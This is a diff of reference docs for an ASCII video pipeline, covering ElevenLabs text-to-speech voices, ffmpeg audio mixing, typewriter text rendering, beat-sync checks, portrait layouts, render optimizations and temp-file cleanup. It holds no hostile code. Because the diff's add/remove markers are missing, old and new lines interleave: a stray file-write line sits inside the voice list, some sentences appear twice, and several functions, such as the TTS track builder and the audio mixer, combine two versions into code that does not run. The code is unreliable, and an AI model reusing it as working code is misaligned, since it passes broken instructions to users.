- `stability` 0.65 gives natural variation without drift. Lower (0.3-0.5) for more expressive reads, higher (0.7-0.9) for monotone/narration.
|
||||
- `similarity_boost` 0.80 keeps it close to the voice profile. Lower for more generic sound.
|
||||
- `style` 0.15 adds slight stylistic variation. Keep low (0-0.2) for straightforward reads.
|
||||
- `use_speaker_boost` True improves clarity at the cost of slightly more processing time.
|
||||
|
||||
### Voice Pool
|
||||
|
||||
ElevenLabs has ~20 built-in voices. Use multiple voices for variety across quotes. Reference pool:
|
||||
|
||||
```python
|
||||
VOICE_POOL = [
|
||||
("JBFqnCBsd6RMkjVDRZzb", "George"),
|
||||
("nPczCjzI2devNBz1zQrb", "Brian"),
|
||||
("pqHfZKP75CvOlQylNhV4", "Bill"),
|
||||
("CwhRBWXzGAHq8TQ4Fs17", "Roger"),
|
||||
("cjVigY5qzO86Huf0OWal", "Eric"),
|
||||
("onwK4e9ZLuTAKqWW03F9", "Daniel"),
|
||||
("IKne3meq5aSn9XLyUdCD", "Charlie"),
|
||||
("iP95p4xoKVk53GoZ742B", "Chris"),
|
||||
("bIHbv24MWmeRgasZH58o", "Will"),
|
||||
("TX3LPaxmHKxFdv7VOQHJ", "Liam"),
|
||||
("SAz9YHcvj6GT2YYXdXww", "River"),
|
||||
("EXAVITQu4vr4xnSDxMaL", "Sarah"),
|
||||
("Xb7hH8MSUJpSbSDYk0k2", "Alice"),
|
||||
("pFZP5JQG7iQjIQuC4Bku", "Lily"),
|
||||
("XrExE9yKIg1WjnnlVkGX", "Matilda"),
|
||||
("FGY2WhTYpPnrIDTdsKH5", "Laura"),
|
||||
("SOYHLrjzK2X1ezoPC6cr", "Harry"),
|
||||
("hpp4J3VqNfWAUOO0d1Us", "Bella"),
|
||||
("N2lVS1w4EtoT3dr4eOWO", "Callum"),
|
||||
("cgSgspJ2msm6clMCkdW9", "Jessica"),
|
||||
("pNInz6obpgDQGcFmaJgB", "Adam"),
|
||||
]
|
||||
f.write(resp.content)
|
||||
```
|
||||
|
||||
### Voice Assignment
|
||||
|
||||
Shuffle deterministically so re-runs produce the same voice mapping:
|
||||
Use multiple voices for variety. Shuffle deterministically so re-runs are consistent:
|
||||
|
||||
```python
|
||||
import random as _rng
|
||||
@@ -377,199 +318,83 @@ import random as _rng
|
||||
def assign_voices(n_quotes, voice_pool, seed=42):
|
||||
"""Assign a different voice to each quote, cycling if needed."""
|
||||
r = _rng.Random(seed)
|
||||
ids = [v[0] for v in voice_pool]
|
||||
r.shuffle(ids)
|
||||
return [ids[i % len(ids)] for i in range(n_quotes)]
|
||||
shuffled = list(voice_pool)
|
||||
r.shuffle(shuffled)
|
||||
return [shuffled[i % len(shuffled)] for i in range(n_quotes)]
|
||||
```
|
||||
|
||||
### Pronunciation Control
|
||||
|
||||
TTS text must be separate from display text. The display text has line breaks for visual layout; the TTS text is a flat sentence with phonetic fixes.
|
||||
|
||||
Common fixes:
|
||||
TTS text should be separate from display text. Common fixes:
|
||||
- Brand names: spell phonetically ("Nous" -> "Noose", "nginx" -> "engine-x")
|
||||
- Abbreviations: expand ("API" -> "A P I", "CLI" -> "C L I")
|
||||
- Technical terms: add phonetic hints
|
||||
- Punctuation for pacing: periods create pauses, commas create slight pauses
|
||||
|
||||
```python
|
||||
# Display text: line breaks control visual layout
|
||||
QUOTES = [
|
||||
("It can do far more than the Claws,\nand you don't need to buy a Mac Mini.\nNous Research has a winner here.", "Brian Roemmele"),
|
||||
]
|
||||
|
||||
# TTS text: flat, phonetically corrected for speech
|
||||
QUOTES_TTS = [
|
||||
"It can do far more than the Claws, and you don't need to buy a Mac Mini. Noose Research has a winner here.",
|
||||
]
|
||||
QUOTES = [("Display text here", "Author")]
|
||||
QUOTES_TTS = ["TTS text with phonetic spelling here"]
|
||||
# Keep both arrays in sync -- same indices
|
||||
```
|
||||
|
||||
### Audio Pipeline
|
||||
|
||||
1. Generate individual TTS clips (MP3 per quote, skipping existing)
|
||||
2. Convert each to WAV (mono, 22050 Hz) for duration measurement and concatenation
|
||||
3. Calculate timing: intro pad + speech + gaps + outro pad = target duration
|
||||
1. Generate individual TTS clips (MP3/WAV per quote)
|
||||
2. Get duration of each clip
|
||||
3. Calculate timing: speech start/end per quote with gaps
|
||||
4. Concatenate into single TTS track with silence padding
|
||||
5. Mix with background music
|
||||
|
||||
```python
|
||||
def build_tts_track(tts_clips, target_duration, intro_pad=5.0, outro_pad=4.0):
|
||||
"""Concatenate TTS clips with calculated gaps, pad to target duration.
|
||||
|
||||
Returns:
|
||||
timing: list of (start_time, end_time, quote_index) tuples
|
||||
"""
|
||||
sr = 22050
|
||||
|
||||
# Convert MP3s to WAV for duration and sample-level concatenation
|
||||
def build_tts_track(tts_clips, target_duration, gap_seconds=2.0):
|
||||
"""Concatenate TTS clips with gaps, pad to target duration."""
|
||||
# Get durations
|
||||
durations = []
|
||||
for clip in tts_clips:
|
||||
wav = clip.replace(".mp3", ".wav")
|
||||
subprocess.run(
|
||||
["ffmpeg", "-y", "-i", clip, "-ac", "1", "-ar", str(sr),
|
||||
"-sample_fmt", "s16", wav],
|
||||
capture_output=True, check=True)
|
||||
result = subprocess.run(
|
||||
["ffprobe", "-v", "error", "-show_entries", "format=duration",
|
||||
"-of", "csv=p=0", wav],
|
||||
"-of", "csv=p=0", clip],
|
||||
capture_output=True, text=True)
|
||||
durations.append(float(result.stdout.strip()))
|
||||
|
||||
# Calculate gap to fill target duration
|
||||
|
||||
# Calculate timing
|
||||
total_speech = sum(durations)
|
||||
n_gaps = len(tts_clips) - 1
|
||||
remaining = target_duration - total_speech - intro_pad - outro_pad
|
||||
gap = max(1.0, remaining / max(1, n_gaps))
|
||||
|
||||
# Build timing and concatenate samples
|
||||
timing = []
|
||||
t = intro_pad
|
||||
all_audio = [np.zeros(int(sr * intro_pad), dtype=np.int16)]
|
||||
|
||||
total_gaps = target_duration - total_speech
|
||||
gap = max(0.5, total_gaps / (len(tts_clips) + 1))
|
||||
|
||||
timing = [] # (start, end, quote_index)
|
||||
t = gap # start after initial gap
|
||||
for i, dur in enumerate(durations):
|
||||
wav = tts_clips[i].replace(".mp3", ".wav")
|
||||
with wave.open(wav) as wf:
|
||||
samples = np.frombuffer(wf.readframes(wf.getnframes()), dtype=np.int16)
|
||||
timing.append((t, t + dur, i))
|
||||
all_audio.append(samples)
|
||||
t += dur
|
||||
if i < len(tts_clips) - 1:
|
||||
all_audio.append(np.zeros(int(sr * gap), dtype=np.int16))
|
||||
t += gap
|
||||
|
||||
all_audio.append(np.zeros(int(sr * outro_pad), dtype=np.int16))
|
||||
|
||||
# Pad or trim to exactly target_duration
|
||||
full = np.concatenate(all_audio)
|
||||
target_samples = int(sr * target_duration)
|
||||
if len(full) < target_samples:
|
||||
full = np.pad(full, (0, target_samples - len(full)))
|
||||
else:
|
||||
full = full[:target_samples]
|
||||
|
||||
# Write concatenated TTS track
|
||||
with wave.open("tts_full.wav", "w") as wf:
|
||||
wf.setnchannels(1)
|
||||
wf.setsampwidth(2)
|
||||
wf.setframerate(sr)
|
||||
wf.writeframes(full.tobytes())
|
||||
|
||||
t += dur + gap
|
||||
|
||||
# Concatenate with ffmpeg
|
||||
# ... silence padding + concat filter
|
||||
return timing
|
||||
```
|
||||
|
||||
### Audio Mixing
|
||||
|
||||
Mix TTS (center) with background music (wide stereo, low volume). The filter chain:
|
||||
1. TTS mono duplicated to both channels (centered)
|
||||
2. BGM loudness-normalized, volume reduced to 15%, stereo widened with `extrastereo`
|
||||
3. Mixed together with dropout transition for smooth endings
|
||||
Mix TTS (center) with background music (wide stereo, low volume):
|
||||
|
||||
```python
|
||||
def mix_audio(tts_path, bgm_path, output_path, bgm_volume=0.15):
|
||||
"""Mix TTS centered with BGM panned wide stereo."""
|
||||
filter_complex = (
|
||||
# TTS: mono -> stereo center
|
||||
"[0:a]aformat=sample_fmts=fltp:sample_rates=44100:channel_layouts=mono,"
|
||||
"pan=stereo|c0=c0|c1=c0[tts];"
|
||||
# BGM: normalize loudness, reduce volume, widen stereo
|
||||
f"[1:a]aformat=sample_fmts=fltp:sample_rates=44100:channel_layouts=stereo,"
|
||||
f"loudnorm=I=-16:TP=-1.5:LRA=11,"
|
||||
f"volume={bgm_volume},"
|
||||
f"extrastereo=m=2.5[bgm];"
|
||||
# Mix with smooth dropout at end
|
||||
"[tts][bgm]amix=inputs=2:duration=longest:dropout_transition=3,"
|
||||
"aformat=sample_fmts=s16:sample_rates=44100:channel_layouts=stereo[out]"
|
||||
)
|
||||
cmd = [
|
||||
"ffmpeg", "-y",
|
||||
"-i", tts_path,
|
||||
"-i", bgm_path,
|
||||
"-filter_complex", filter_complex,
|
||||
"-map", "[out]", output_path,
|
||||
"-i", tts_path, # mono TTS
|
||||
"-i", bgm_path, # stereo BGM
|
||||
"-filter_complex",
|
||||
f"[0:a]aformat=sample_fmts=fltp:sample_rates=44100:channel_layouts=mono,"
|
||||
f"pan=stereo|c0=c0|c1=c0[tts];" # TTS center
|
||||
f"[1:a]loudnorm=I=-16:TP=-1.5:LRA=11,"
|
||||
f"volume={bgm_volume},"
|
||||
f"extrastereo=2.5[bgm];" # BGM wide stereo
|
||||
f"[tts][bgm]amix=inputs=2:duration=longest[out]",
|
||||
"-map", "[out]", "-c:a", "pcm_s16le", output_path
|
||||
]
|
||||
subprocess.run(cmd, capture_output=True, check=True)
|
||||
```
|
||||
|
||||
### Per-Quote Visual Style
|
||||
|
||||
Cycle through visual presets per quote for variety. Each preset defines a background effect, color scheme, and text color:
|
||||
|
||||
```python
|
||||
QUOTE_STYLES = [
|
||||
{"hue": 0.08, "accent": 0.7, "bg": "spiral", "text_rgb": (255, 220, 140)}, # warm gold
|
||||
{"hue": 0.55, "accent": 0.6, "bg": "rings", "text_rgb": (180, 220, 255)}, # cool blue
|
||||
{"hue": 0.75, "accent": 0.7, "bg": "wave", "text_rgb": (220, 180, 255)}, # purple
|
||||
{"hue": 0.35, "accent": 0.6, "bg": "matrix", "text_rgb": (140, 255, 180)}, # green
|
||||
{"hue": 0.95, "accent": 0.8, "bg": "fire", "text_rgb": (255, 180, 160)}, # red/coral
|
||||
{"hue": 0.12, "accent": 0.5, "bg": "interference", "text_rgb": (255, 240, 200)}, # amber
|
||||
{"hue": 0.60, "accent": 0.7, "bg": "tunnel", "text_rgb": (160, 210, 255)}, # cyan
|
||||
{"hue": 0.45, "accent": 0.6, "bg": "aurora", "text_rgb": (180, 255, 220)}, # teal
|
||||
]
|
||||
|
||||
style = QUOTE_STYLES[quote_index % len(QUOTE_STYLES)]
|
||||
```
|
||||
|
||||
This guarantees no two adjacent quotes share the same look, even without randomness.
|
||||
|
||||
### Typewriter Text Rendering
|
||||
|
||||
Display quote text character-by-character synced to speech progress. Recently revealed characters are brighter, creating a "just typed" glow:
|
||||
|
||||
```python
|
||||
def render_typewriter(ch, co, lines, block_start, cols, progress, total_chars, text_rgb, t):
|
||||
"""Overlay typewriter text onto character/color grids.
|
||||
progress: 0.0 (nothing visible) to 1.0 (all text visible)."""
|
||||
chars_visible = int(total_chars * min(1.0, progress * 1.2)) # slight overshoot for snappy feel
|
||||
tr, tg, tb = text_rgb
|
||||
char_count = 0
|
||||
for li, line in enumerate(lines):
|
||||
row = block_start + li
|
||||
col = (cols - len(line)) // 2
|
||||
for ci, c in enumerate(line):
|
||||
if char_count < chars_visible:
|
||||
age = chars_visible - char_count
|
||||
bri_factor = min(1.0, 0.5 + 0.5 / (1 + age * 0.015)) # newer = brighter
|
||||
hue_shift = math.sin(char_count * 0.3 + t * 2) * 0.05
|
||||
stamp(ch, co, c, row, col + ci,
|
||||
(int(min(255, tr * bri_factor * (1.0 + hue_shift))),
|
||||
int(min(255, tg * bri_factor)),
|
||||
int(min(255, tb * bri_factor * (1.0 - hue_shift)))))
|
||||
char_count += 1
|
||||
|
||||
# Blinking cursor at insertion point
|
||||
if progress < 1.0 and int(t * 3) % 2 == 0:
|
||||
# Find cursor position (char_count == chars_visible)
|
||||
cc = 0
|
||||
for li, line in enumerate(lines):
|
||||
for ci, c in enumerate(line):
|
||||
if cc == chars_visible:
|
||||
stamp(ch, co, "\u258c", block_start + li,
|
||||
(cols - len(line)) // 2 + ci, (255, 220, 100))
|
||||
return
|
||||
cc += 1
|
||||
```
|
||||
|
||||
### Feature Analysis on Mixed Audio
|
||||
|
||||
Run the standard audio analysis (FFT, beat detection) on the final mixed track so visual effects react to both TTS and music:
|
||||
@@ -579,114 +404,4 @@ Run the standard audio analysis (FFT, beat detection) on the final mixed track s
|
||||
features = analyze_audio("mixed_final.wav", fps=24)
|
||||
```
|
||||
|
||||
Visuals pulse with both the music beats and the speech energy.
|
||||
|
||||
---
|
||||
|
||||
## Audio-Video Sync Verification
|
||||
|
||||
After rendering, verify that visual beat markers align with actual audio beats. Drift accumulates from frame timing errors, ffmpeg concat boundaries, and rounding in `fi / fps`.
|
||||
|
||||
### Beat Timestamp Extraction
|
||||
|
||||
```python
|
||||
def extract_beat_timestamps(features, fps, threshold=0.5):
|
||||
"""Extract timestamps where beat feature exceeds threshold."""
|
||||
beat = features["beat"]
|
||||
timestamps = []
|
||||
for fi in range(len(beat)):
|
||||
if beat[fi] > threshold:
|
||||
timestamps.append(fi / fps)
|
||||
return timestamps
|
||||
|
||||
def extract_visual_beat_timestamps(video_path, fps, brightness_jump=30):
|
||||
"""Detect visual beats by brightness jumps between consecutive frames.
|
||||
Returns timestamps where mean brightness increases by more than threshold."""
|
||||
import subprocess
|
||||
cmd = ["ffmpeg", "-i", video_path, "-f", "rawvideo", "-pix_fmt", "gray", "-"]
|
||||
proc = subprocess.run(cmd, capture_output=True)
|
||||
frames = np.frombuffer(proc.stdout, dtype=np.uint8)
|
||||
# Infer frame dimensions from total byte count
|
||||
n_pixels = len(frames)
|
||||
# For 1080p: 1920*1080 pixels per frame
|
||||
# Auto-detect from video metadata is more robust:
|
||||
probe = subprocess.run(
|
||||
["ffprobe", "-v", "error", "-select_streams", "v:0",
|
||||
"-show_entries", "stream=width,height",
|
||||
"-of", "csv=p=0", video_path],
|
||||
capture_output=True, text=True)
|
||||
w, h = map(int, probe.stdout.strip().split(","))
|
||||
ppf = w * h # pixels per frame
|
||||
n_frames = n_pixels // ppf
|
||||
frames = frames[:n_frames * ppf].reshape(n_frames, ppf)
|
||||
means = frames.mean(axis=1)
|
||||
|
||||
timestamps = []
|
||||
for i in range(1, len(means)):
|
||||
if means[i] - means[i-1] > brightness_jump:
|
||||
timestamps.append(i / fps)
|
||||
return timestamps
|
||||
```
|
||||
|
||||
### Sync Report
|
||||
|
||||
```python
|
||||
def sync_report(audio_beats, visual_beats, tolerance_ms=50):
|
||||
"""Compare audio beat timestamps to visual beat timestamps.
|
||||
|
||||
Args:
|
||||
audio_beats: list of timestamps (seconds) from audio analysis
|
||||
visual_beats: list of timestamps (seconds) from video brightness analysis
|
||||
tolerance_ms: max acceptable drift in milliseconds
|
||||
|
||||
Returns:
|
||||
dict with matched/unmatched/drift statistics
|
||||
"""
|
||||
tolerance = tolerance_ms / 1000.0
|
||||
matched = []
|
||||
unmatched_audio = []
|
||||
unmatched_visual = list(visual_beats)
|
||||
|
||||
for at in audio_beats:
|
||||
best_match = None
|
||||
best_delta = float("inf")
|
||||
for vt in unmatched_visual:
|
||||
delta = abs(at - vt)
|
||||
if delta < best_delta:
|
||||
best_delta = delta
|
||||
best_match = vt
|
||||
if best_match is not None and best_delta < tolerance:
|
||||
matched.append({"audio": at, "visual": best_match, "drift_ms": best_delta * 1000})
|
||||
unmatched_visual.remove(best_match)
|
||||
else:
|
||||
unmatched_audio.append(at)
|
||||
|
||||
drifts = [m["drift_ms"] for m in matched]
|
||||
return {
|
||||
"matched": len(matched),
|
||||
"unmatched_audio": len(unmatched_audio),
|
||||
"unmatched_visual": len(unmatched_visual),
|
||||
"total_audio_beats": len(audio_beats),
|
||||
"total_visual_beats": len(visual_beats),
|
||||
"mean_drift_ms": np.mean(drifts) if drifts else 0,
|
||||
"max_drift_ms": np.max(drifts) if drifts else 0,
|
||||
"p95_drift_ms": np.percentile(drifts, 95) if len(drifts) > 1 else 0,
|
||||
}
|
||||
|
||||
# Usage:
|
||||
audio_beats = extract_beat_timestamps(features, fps=24)
|
||||
visual_beats = extract_visual_beat_timestamps("output.mp4", fps=24)
|
||||
report = sync_report(audio_beats, visual_beats)
|
||||
print(f"Matched: {report['matched']}/{report['total_audio_beats']} beats")
|
||||
print(f"Mean drift: {report['mean_drift_ms']:.1f}ms, Max: {report['max_drift_ms']:.1f}ms")
|
||||
# Target: mean drift < 20ms, max drift < 42ms (1 frame at 24fps)
|
||||
```
|
||||
|
||||
### Common Sync Issues
|
||||
|
||||
| Symptom | Cause | Fix |
|
||||
|---------|-------|-----|
|
||||
| Consistent late visual beats | ffmpeg concat adds frames at boundaries | Use `-vsync cfr` flag; pad segments to exact frame count |
|
||||
| Drift increases over time | Floating-point accumulation in `t = fi / fps` | Use integer frame counter, compute `t` fresh each frame |
|
||||
| Random missed beats | Beat threshold too high / feature smoothing too aggressive | Lower threshold; reduce EMA alpha for beat feature |
|
||||
| Beats land on wrong frame | Off-by-one in frame indexing | Verify: frame 0 = t=0, frame 1 = t=1/fps (not t=0) |
|
||||
This means visuals will pulse with both the music beats and the speech energy -- creating natural synchronization.
|
||||
|
||||
@@ -1,15 +1,5 @@
|
||||
# Optimization Reference
|
||||
|
||||
**Cross-references:**
|
||||
- Grid system, resolution presets, portrait GridLayer: `architecture.md`
|
||||
- Effect building blocks (pre-computation strategies): `effects.md`
|
||||
- `_render_vf()`, tonemap (subsampled percentile): `composition.md`
|
||||
- Scene protocol, render_clip: `scenes.md`
|
||||
- Shader pipeline, encoding (ffmpeg flags): `shaders.md`
|
||||
- Input sources (audio chunking, WAV extraction): `inputs.md`
|
||||
- Common bugs (memory, OOM, frame drops): `troubleshooting.md`
|
||||
- Complete scene examples: `examples.md`
|
||||
|
||||
## Hardware Detection
|
||||
|
||||
Detect the user's hardware at script startup and adapt rendering parameters automatically. Never hardcode worker counts or resolution.
|
||||
@@ -134,8 +124,6 @@ def apply_quality_profile(profile):
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--quality", choices=["draft", "preview", "production", "max", "auto"],
|
||||
default="auto", help="Render quality preset")
|
||||
parser.add_argument("--aspect", choices=["landscape", "portrait", "square"],
|
||||
default="landscape", help="Aspect ratio preset")
|
||||
parser.add_argument("--workers", type=int, default=0, help="Override worker count (0=auto)")
|
||||
parser.add_argument("--resolution", type=str, default="", help="Override resolution e.g. 1280x720")
|
||||
args = parser.parse_args()
|
||||
@@ -144,16 +132,6 @@ hw = detect_hardware()
|
||||
if args.workers > 0:
|
||||
hw["workers"] = args.workers
|
||||
profile = quality_profile(hw, target_duration, args.quality)
|
||||
|
||||
# Apply aspect ratio preset (before manual resolution override)
|
||||
ASPECT_PRESETS = {
|
||||
"landscape": (1920, 1080),
|
||||
"portrait": (1080, 1920),
|
||||
"square": (1080, 1080),
|
||||
}
|
||||
if args.aspect != "landscape" and not args.resolution:
|
||||
profile["vw"], profile["vh"] = ASPECT_PRESETS[args.aspect]
|
||||
|
||||
if args.resolution:
|
||||
w, h = args.resolution.split("x")
|
||||
profile["vw"], profile["vh"] = int(w), int(h)
|
||||
@@ -164,47 +142,6 @@ log(f"Render: {profile['vw']}x{profile['vh']} @{profile['fps']}fps, "
|
||||
f"CRF {profile['crf']}, {profile['workers']} workers")
|
||||
```
|
||||
|
||||
### Portrait Mode Considerations
|
||||
|
||||
Portrait (1080x1920) has the same pixel count as landscape 1080p, so performance is equivalent. But composition patterns differ:
|
||||
|
||||
| Concern | Landscape | Portrait |
|
||||
|---------|-----------|----------|
|
||||
| Grid cols at `lg` | 160 | 90 |
|
||||
| Grid rows at `lg` | 45 | 80 |
|
||||
| Max text line chars | ~50 centered | ~25-30 centered |
|
||||
| Vertical rain | Short travel | Long, dramatic travel |
|
||||
| Horizontal spectrum | Full width | Needs rotation or compression |
|
||||
| Radial effects | Natural circles | Tall ellipses (aspect correction handles this) |
|
||||
| Particle explosions | Wide spread | Tall spread |
|
||||
| Text stacking | 3-4 lines comfortable | 8-10 lines comfortable |
|
||||
| Quote layout | 2-3 wide lines | 5-6 short lines |
|
||||
|
||||
**Portrait-optimized patterns:**
|
||||
- Vertical rain/matrix effects are naturally enhanced — longer column travel
|
||||
- Fire columns rise through more screen space
|
||||
- Rising embers/particles have more vertical runway
|
||||
- Text can be stacked more aggressively with more lines
|
||||
- Radial effects work if aspect correction is applied (GridLayer handles this automatically)
|
||||
- Spectrum bars can be rotated 90 degrees (vertical bars from bottom)
|
||||
|
||||
**Portrait text layout:**
|
||||
```python
|
||||
def layout_text_portrait(text, max_chars_per_line=25, grid=None):
|
||||
"""Break text into short lines for portrait display."""
|
||||
words = text.split()
|
||||
lines = []; current = ""
|
||||
for w in words:
|
||||
if len(current) + len(w) + 1 > max_chars_per_line:
|
||||
lines.append(current.strip())
|
||||
current = w + " "
|
||||
else:
|
||||
current += w + " "
|
||||
if current.strip():
|
||||
lines.append(current.strip())
|
||||
return lines
|
||||
```
|
||||
|
||||
## Performance Budget
|
||||
|
||||
Target: 100-200ms per frame (5-10 fps single-threaded, 40-80 fps across 8 workers).
|
||||
@@ -236,74 +173,6 @@ canvas[y:y+ch, x:x+cw] = np.maximum(canvas[y:y+ch, x:x+cw],
|
||||
|
||||
Collect all characters from all palettes + overlay text into the init set. Lazy-init for any missed characters.
|
||||
|
||||
## Pre-Rendered Background Textures
|
||||
|
||||
Alternative to `_render_vf()` for backgrounds where characters don't need to change every frame. Pre-bake a static ASCII texture once at init, then multiply by a per-cell color field each frame. One matrix multiply vs thousands of bitmap blits.
|
||||
|
||||
Use when: background layer uses a fixed character palette and only color/brightness varies per frame. NOT suitable for layers where character selection depends on a changing value field.
|
||||
|
||||
### Init: Bake the Texture
|
||||
|
||||
```python
|
||||
# In GridLayer.__init__:
|
||||
self._bg_row_idx = np.clip(
|
||||
(np.arange(VH) - self.oy) // self.ch, 0, self.rows - 1
|
||||
)
|
||||
self._bg_col_idx = np.clip(
|
||||
(np.arange(VW) - self.ox) // self.cw, 0, self.cols - 1
|
||||
)
|
||||
self._bg_textures = {}
|
||||
|
||||
def make_bg_texture(self, palette):
|
||||
"""Pre-render a static ASCII texture (grayscale float32) once."""
|
||||
if palette not in self._bg_textures:
|
||||
texture = np.zeros((VH, VW), dtype=np.float32)
|
||||
rng = random.Random(12345)
|
||||
ch_list = [c for c in palette if c != " " and c in self.bm]
|
||||
if not ch_list:
|
||||
ch_list = list(self.bm.keys())[:5]
|
||||
for row in range(self.rows):
|
||||
y = self.oy + row * self.ch
|
||||
if y + self.ch > VH:
|
||||
break
|
||||
for col in range(self.cols):
|
||||
x = self.ox + col * self.cw
|
||||
if x + self.cw > VW:
|
||||
break
|
||||
bm = self.bm[rng.choice(ch_list)]
|
||||
texture[y:y+self.ch, x:x+self.cw] = bm
|
||||
self._bg_textures[palette] = texture
|
||||
return self._bg_textures[palette]
|
||||
```
|
||||
|
||||
### Render: Color Field x Cached Texture
|
||||
|
||||
```python
|
||||
def render_bg(self, color_field, palette=PAL_CIRCUIT):
|
||||
"""Fast background: pre-rendered ASCII texture * per-cell color field.
|
||||
color_field: (rows, cols, 3) uint8. Returns (VH, VW, 3) uint8."""
|
||||
texture = self.make_bg_texture(palette)
|
||||
# Expand cell colors to pixel coords via pre-computed index maps
|
||||
color_px = color_field[
|
||||
self._bg_row_idx[:, None], self._bg_col_idx[None, :]
|
||||
].astype(np.float32)
|
||||
return (texture[:, :, None] * color_px).astype(np.uint8)
|
||||
```
|
||||
|
||||
### Usage in a Scene
|
||||
|
||||
```python
|
||||
# Build per-cell color from effect fields (cheap — rows*cols, not VH*VW)
|
||||
hue = ((t * 0.05 + val * 0.2) % 1.0).astype(np.float32)
|
||||
R, G, B = hsv2rgb(hue, np.full_like(val, 0.5), val)
|
||||
color_field = mkc(R, G, B, g.rows, g.cols) # (rows, cols, 3) uint8
|
||||
|
||||
# Render background — single matrix multiply, no per-cell loop
|
||||
canvas_bg = g.render_bg(color_field, PAL_DENSE)
|
||||
```
|
||||
|
||||
The texture init loop runs once and is cached per palette. Per-frame cost is one fancy-index lookup + one broadcast multiply — orders of magnitude faster than the per-cell bitmap blit loop in `render()` for dense backgrounds.
|
||||
|
||||
## Coordinate Array Caching
|
||||
|
||||
Pre-compute all grid-relative coordinate arrays at init, not per-frame:
|
||||
@@ -346,8 +215,8 @@ all_rows = []
|
||||
all_cols = []
|
||||
all_fades = []
|
||||
for c in range(cols):
|
||||
head = int(S["ry"][c])
|
||||
trail_len = S["rln"][c]
|
||||
head = int(state["ry"][c])
|
||||
trail_len = state["rln"][c]
|
||||
for i in range(trail_len):
|
||||
row = head - i
|
||||
if 0 <= row < rows:
|
||||
@@ -385,57 +254,6 @@ for fi in range(n_cols):
|
||||
# Now map fire_val to chars and colors in one vectorized pass
|
||||
```
|
||||
|
||||
## PIL String Rendering for Text-Heavy Scenes
|
||||
|
||||
Alternative to per-cell bitmap blitting when rendering many long text strings (scrolling tickers, typewriter sequences, idea floods). Uses PIL's native `ImageDraw.text()` which renders an entire string in one C call, vs one Python-loop bitmap blit per character.
|
||||
|
||||
Typical win: a scene with 56 ticker rows renders 56 PIL `text()` calls instead of ~10K individual bitmap blits.
|
||||
|
||||
Use when: scene renders many rows of readable text strings. NOT suitable for sparse or spatially-scattered single characters (use normal `render()` for those).
|
||||
|
||||
```python
|
||||
from PIL import Image, ImageDraw
|
||||
|
||||
def render_text_layer(grid, rows_data, font):
|
||||
"""Render dense text rows via PIL instead of per-cell bitmap blitting.
|
||||
|
||||
Args:
|
||||
grid: GridLayer instance (for oy, ch, ox, font metrics)
|
||||
rows_data: list of (row_index, text_string, rgb_tuple) — one per row
|
||||
font: PIL ImageFont instance (grid.font)
|
||||
|
||||
Returns:
|
||||
uint8 array (VH, VW, 3) — canvas with rendered text
|
||||
"""
|
||||
img = Image.new("RGB", (VW, VH), (0, 0, 0))
|
||||
draw = ImageDraw.Draw(img)
|
||||
for row_idx, text, color in rows_data:
|
||||
y = grid.oy + row_idx * grid.ch
|
||||
if y + grid.ch > VH:
|
||||
break
|
||||
draw.text((grid.ox, y), text, fill=color, font=font)
|
||||
return np.array(img)
|
||||
```
|
||||
|
||||
### Usage in a Ticker Scene
|
||||
|
||||
```python
|
||||
# Build ticker data (text + color per row)
|
||||
rows_data = []
|
||||
for row in range(n_tickers):
|
||||
text = build_ticker_text(row, t) # scrolling substring
|
||||
color = hsv2rgb_scalar(hue, 0.85, bri) # (R, G, B) tuple
|
||||
rows_data.append((row, text, color))
|
||||
|
||||
# One PIL pass instead of thousands of bitmap blits
|
||||
canvas_tickers = render_text_layer(g_md, rows_data, g_md.font)
|
||||
|
||||
# Blend with other layers normally
|
||||
result = blend_canvas(canvas_bg, canvas_tickers, "screen", 0.9)
|
||||
```
|
||||
|
||||
This is purely a rendering optimization — same visual output, fewer draw calls. The grid's `render()` method is still needed for sparse character fields where characters are placed individually based on value fields.
|
||||
|
||||
## Bloom Optimization
|
||||
|
||||
**Do NOT use `scipy.ndimage.uniform_filter`** -- measured at 424ms/frame.
|
||||
@@ -615,82 +433,3 @@ Scale with hardware. Baseline: 1080p, 24fps, ~180ms/frame/worker.
|
||||
At 720p: multiply times by ~0.5. At 4K: multiply by ~4.
|
||||
|
||||
Heavier effects (many particles, dense grids, extra shader passes) add ~20-50%.
|
||||
|
||||
---
|
||||
|
||||
## Temp File Cleanup
|
||||
|
||||
Rendering generates intermediate files that accumulate across runs. Clean up after the final concat/mux step.
|
||||
|
||||
### Files to Clean
|
||||
|
||||
| File type | Source | Location |
|
||||
|-----------|--------|----------|
|
||||
| WAV extracts | `ffmpeg -i input.mp3 ... tmp.wav` | `tempfile.mktemp()` or project dir |
|
||||
| Segment clips | `render_clip()` output | `segments/seg_00.mp4` etc. |
|
||||
| Concat list | ffmpeg concat demuxer input | `segments/concat.txt` |
|
||||
| ffmpeg stderr logs | piped to file for debugging | `*.log` in project dir |
|
||||
| Feature cache | pickled numpy arrays | `*.pkl` or `*.npz` |
|
||||
|
||||
### Cleanup Function
|
||||
|
||||
```python
|
||||
import glob
|
||||
import tempfile
|
||||
import shutil
|
||||
|
||||
def cleanup_render_artifacts(segments_dir="segments", keep_final=True):
|
||||
"""Remove intermediate files after successful render.
|
||||
|
||||
Call this AFTER verifying the final output exists and plays correctly.
|
||||
|
||||
Args:
|
||||
segments_dir: directory containing segment clips and concat list
|
||||
keep_final: if True, only delete intermediates (not the final output)
|
||||
"""
|
||||
removed = []
|
||||
|
||||
# 1. Segment clips
|
||||
if os.path.isdir(segments_dir):
|
||||
shutil.rmtree(segments_dir)
|
||||
removed.append(f"directory: {segments_dir}")
|
||||
|
||||
# 2. Temporary WAV files
|
||||
for wav in glob.glob("*.wav"):
|
||||
if wav.startswith("tmp") or wav.startswith("extracted_"):
|
||||
os.remove(wav)
|
||||
removed.append(wav)
|
||||
|
||||
# 3. ffmpeg stderr logs
|
||||
for log in glob.glob("ffmpeg_*.log"):
|
||||
os.remove(log)
|
||||
removed.append(log)
|
||||
|
||||
# 4. Feature cache (optional — useful to keep for re-renders)
|
||||
# for cache in glob.glob("features_*.npz"):
|
||||
# os.remove(cache)
|
||||
# removed.append(cache)
|
||||
|
||||
print(f"Cleaned {len(removed)} artifacts: {removed}")
|
||||
return removed
|
||||
```
|
||||
|
||||
### Integration with Render Pipeline
|
||||
|
||||
Call cleanup at the end of the main render script, after the final output is verified:
|
||||
|
||||
```python
|
||||
# At end of main()
|
||||
if os.path.exists(output_path) and os.path.getsize(output_path) > 1000:
|
||||
cleanup_render_artifacts(segments_dir="segments")
|
||||
print(f"Done. Output: {output_path}")
|
